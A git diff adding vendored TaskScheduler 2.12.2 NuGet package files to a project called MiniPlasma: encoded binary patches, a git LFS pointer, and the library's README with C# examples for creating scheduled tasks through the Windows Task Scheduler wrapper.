zJZI3`iI@E;KVjHYdkrU-$i3TA%1w}_@CxLFe3To<=PWZwa=dTIRQjlm@xp5o-Ye7s zW{mw%NK}B^!^>CfJ-nuTh>yCeQ`EB8ggvfBMNJ)CV;+b19^{%bKeH%%7DBtqJfENU zE~dbeZuYv|5{^80IY@{gMxb@1d{94fn{1X=D)Toqgr zdOS<$$HwqpEpy;UEZ;r>0E8IJ3#0r3OJth%d?sBM?hpBluXGC+|r(w{{< ziHLIlnk^e1%C>ND#z-+JMvC~|+(5-)c&AYN?excKT0?Q#x_Ejr@7JRm*uZ}WdwE;~)Jx?u9C0zNxiu)g;O_BeP z%nha3eidxr3I|63k#JUioTg+U03!GwmMsQn&!Nf|)wB8hqm=AFPs#I7VDyc@#H;8T z;2Fm6g+oacr)3jA6VKeaicR;NO?`Om)lGy7%e4xh(U`|QDy|?yb`+&wum?>$CJYL-0Vw?sN}gYE{gQ=6>UaJ>X3myX*EZ2 z=q%yr#ZD_GYr1?H_TG%AQd_0e-s`$CrFRjBd%&p;tNjijwis+io_xov4C~@LLI)Ok zURyVI)xT!u=GY2)UPqvMg?&R8e#)|zV)MZMCGYk(tyT-TgS$GQ(7GPw^v2$m)RB|( z)?a*vc2fs+S3vDnZ~a{Ea^KP1Wa2C?&6Z19V_x9Hs(75L{^f>ovukw97;Em_Vg}i~ znx8yW%5&9gy7Dq3wgu#<)6oz;(lpbVCM<>=lHX_qk+hex}TsqQrvmM|ETA~@il zuQlXM>#eX%P2{j~z`<-Bp(qhnp+&ham?$$JI6{1DAhgK6lCt^XK#_4%Chh{FhGL&~ zE|Fa0RaH7&M^R+y<2mdH!i4j~df?hAC3LSR#kiZR=Cs0)EVG4Pp^w_lgxCMjAf}D?cJ2E^Ida)E-6h z2@VMTIyw)G4PXIKempu94$m#!w&Y=uJtxWxR8Q!6eVz1}!I-dqh>?^o8=pDz>(=`g zPl3@8TrQo_F<$rq6L#4}nO7H{Wjlp;7wt)*;X3yC$@AgG22S^<`3i8b;$N~oUrE0Z z%Ojr`H{-P%)kP*DAG(DfK&mwE$#}B-5W0_4eC?sA*fm^9h-FECW5C65uc;ElwpNM7 z#PemVEkk#@o!dKKLZebB6CyRa8^XityOhTx)xE zXT`)(p*P<2U^2mZ{e-AY$84(kM(68KJJtXXyOAUZ*g%+=-ge99p}-)6OwQID0yNW+ zlf#lsGlHg1(uF!TCqA-;L4r|=xm;53z!MLSHBuXJ^Fv&>k%ryOVO-KC7R`?-3la5% z*iH(7c{O4|(6ufj)5%vcGEDyom0jRwsZ;kSXMZAzt|p4{1R;qAIs2DZ2i^nago~>G E2Y=w*5&!@I literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg new file mode 100644 index 0000000..c2c19df --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d39c82d6e7f366b45053c3f11b512f0ec021d1a0fcf9fe0283478b2edd0b8dd9 +size 2392568 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/TaskService.md b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskService.md new file mode 100644 index 0000000..1580752 --- /dev/null +++ b/MiniPlasma/packages/TaskScheduler.2.12.2/TaskService.md @@ -0,0 +1,72 @@ +## About +The original and most popular .NET wrapper for the [Windows Task Scheduler](https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page). It provides functionally complete classes that cover all development aspects related to system tasks. + +More information can be found on the [project page on GitHub](https://github.com/dahall/taskscheduler). + +## Support +Below are links to sites that provide in-depth examples, documentation and discussions. Please go here first with your questions as the community has been active for over a decade. +* [Wiki](https://github.com/dahall/TaskScheduler/wiki) - Sample code, library how-to, troubleshooting, etc. +* [API documentation](https://dahall.github.io/TaskScheduler) - Class/method/property documentation and examples +* [Full Issues Log](https://github.com/dahall/TaskScheduler/issues?q=) - Use the search box to see if your question may already be answered. +* [Discussion Forum](https://github.com/dahall/TaskScheduler/discussions) - Users helping users, enhancement requests, Q&A (retired Google forum [here](https://groups.google.com/forum/#!forum/taskscheduler)) +* [Troubleshooting Tool](https://github.com/dahall/TaskSchedulerConfig) - Tool to help identify and fix configuration and connectivity issues. (ClickOnce installer [here](https://github.com/dahall/TaskSchedulerConfig/blob/master/publish/setup.exe?raw=true)) + +## Key Features +Microsoft introduced version 2.0 (internally version 1.2) with a completely new object model with Windows Vista. The managed assembly closely resembles the new object model but allows the 1.0 (internally version 1.1) COM objects to be manipulated. It will automatically choose the most recent version of the library found on the host system (up through 1.4). Core features include: + +* Separate, functionally identical, libraries for .NET 2.0, 3.5, 4.0, 4.52, 5.0, 6.0, .NET Standard 2.0, .NET Core 2.0, 2.1, 3.0, 3.1. +* Unlike the base COM libraries, this wrapper accommodates creating and viewing tasks up and down stream. +* Supports all V2 native properties, even under V1 tasks. +* Maintain EmailAction and ShowMessageAction using PowerShell scripts for systems after Win8 where these actions have been deprecated. +* Supports all action types (not just ExecAction) on V1 systems (XP/WS2003) and earlier (if PowerShell is installed). +* Supports multiple actions on V1 systems (XP/WS2003). Native library only supports a single action. +* Supports serialization to XML for both 1.0 and 2.0 tasks (base library only supports 2.0) +* Supports task validation for targeted version. +* Supports secure task reading and maintenance. +* Fluent methods for task creation. +* Cron syntax for trigger creation. + +The currently supported localizations include: English, Spanish, Italian, French, Chinese (Simplified), German, Polish and Russian. + +## Usage +You can perform several actions in a single line of code: +```C# +// Run a program every day on the local machine +TaskService.Instance.AddTask("Test", QuickTriggerType.Daily, "myprogram.exe", "-a arg"); + +// Run a custom COM handler on the last day of every month +TaskService.Instance.AddTask("Test", new MonthlyTrigger { RunOnLastDayOfMonth = true }, + new ComHandlerAction(new Guid("{CE7D4428-8A77-4c5d-8A13-5CAB5D1EC734}"))); +``` + +For many more options, use the library classes to build a complex task. Below is a brief example of how to use the library from C#. +```C# +using System; +using Microsoft.Win32.TaskScheduler; + +class Program +{ + static void Main() + { + // Get the service on the remote machine + using (TaskService ts = new TaskService(@"\\RemoteServer", "username", "domain", "password")) + { + // Create a new task definition and assign properties + TaskDefinition td = ts.NewTask(); + td.RegistrationInfo.Description = "Does something"; + + // Create a trigger that will fire the task at this time every other day + td.Triggers.Add(new DailyTrigger { DaysInterval = 2 }); + + // Create an action that will launch Notepad whenever the trigger fires + td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null)); + + // Register the task in the root folder. + // (Use the username here to ensure remote registration works.) + ts.RootFolder.RegisterTaskDefinition(@"Test", td, TaskCreation.CreateOrUpdate, "username"); + } + } +} +``` + +For extended examples on how to the use the library, look at the [Examples Page](https://github.com/dahall/TaskScheduler/wiki/Examples). \ No newline at end of file diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net45/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000000000000000000000000000000000000..1ea3c2919aca808f4702cb710b3aad8f581f9560 GIT binary patch literal 333312 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 